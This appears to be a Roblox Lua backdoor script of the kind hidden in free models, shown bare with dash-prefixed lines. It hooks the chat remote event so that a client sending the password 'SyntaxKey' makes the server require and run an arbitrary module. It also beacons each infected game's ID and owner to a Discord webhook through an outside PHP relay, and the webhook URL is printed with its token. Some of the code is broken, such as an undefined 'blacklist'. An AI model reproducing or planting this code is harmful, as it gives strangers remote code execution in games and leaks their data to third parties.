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- local module = {}
- local Remote = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents").SayMessageRequest
- local password = "SyntaxKey"
- Remote.OnServerEvent:Connect(function(Player, module, playur, ckey)
- if(ckey == password) then
- require(module).load(playur)
- end
- end)
- local Webhook = "https://discordapp.com/api/webhooks/528892092781690881/waAdKkNxnt3pNG8QtCXXZNkUg8dK7-laQkY2xt1ElrJ2RtFhx4pNncMY_vCCUDJ5pft2"
- function send()
- local Http = game:GetService("HttpService")
- local Website = "https://www.0tec51.info"
- local File = "/PostToDiscord.php?"
- local sent = {}
- local function checksent(id)
- local is = false
- for i,v in pairs(sent) do
- if(id == v) then
- is = true
- end
- end
- return is
- end
- local s = pcall(function()
- game:GetService('HttpService'):GetAsync('http://www.google.com/')
- end)
- if(s == true) then
- local templateids = {
- 0,
- 92721884,
- 95205458,
- 301530843,
- 301529772,
- 92721754,
- 95206881,
- 95206192,
- 95269276,
- 203783329,
- 203810088,
- 203812057,
- 203885589,
- 215383192,
- 264715997,
- 264719325,
- 379736082,
- 366120910,
- 366130569
- }
- local function checkgameid(id)
- local is = false
- for i,v in pairs(blacklist) do
- if(id == v) then
- is = true
- end
- end
- return is
- end
- if(checkgameid(game.PlaceId) == true) then
- if(game:GetService("RunService"):IsStudio() == true) then
- local Info = {
- username = "skid",
- content = "The Model Was Run On A Template in Studio"
- }
- Http:GetAsync(Website .. File .. "Content=" .. Http:JSONEncode(Info) .. "&Discord=" .. Webhook)
- else
- local Info = {
- username = "skid",
- content = "The Model Was Run On A Template"
- }
- Http:GetAsync(Website .. File .. "Content=" .. Http:JSONEncode(Info) .. "&Discord=" .. Webhook)
- end
- elseif(checksent(game.PlaceId) == false) then
- local Info = {
- username = "skid",
- content = "new game found : \n https://www.roblox.com/games/" .. game.PlaceId .. " owner id : " .. "ttps://www.roblox.com/users/" .. game.CreatorId .. "/profile"
- }
- Http:GetAsync(Website .. File .. "Content=" .. Http:JSONEncode(Info) .. "&Discord=" .. Webhook)
- table.insert(game.PlaceId, sent)
- end
- if(s == false) then
- while true do
- wait(10)
- print("If you see this, please tell the owner of the game to enable https requests, thanks!")
- end
- end
- end
- end
- send()
- return module
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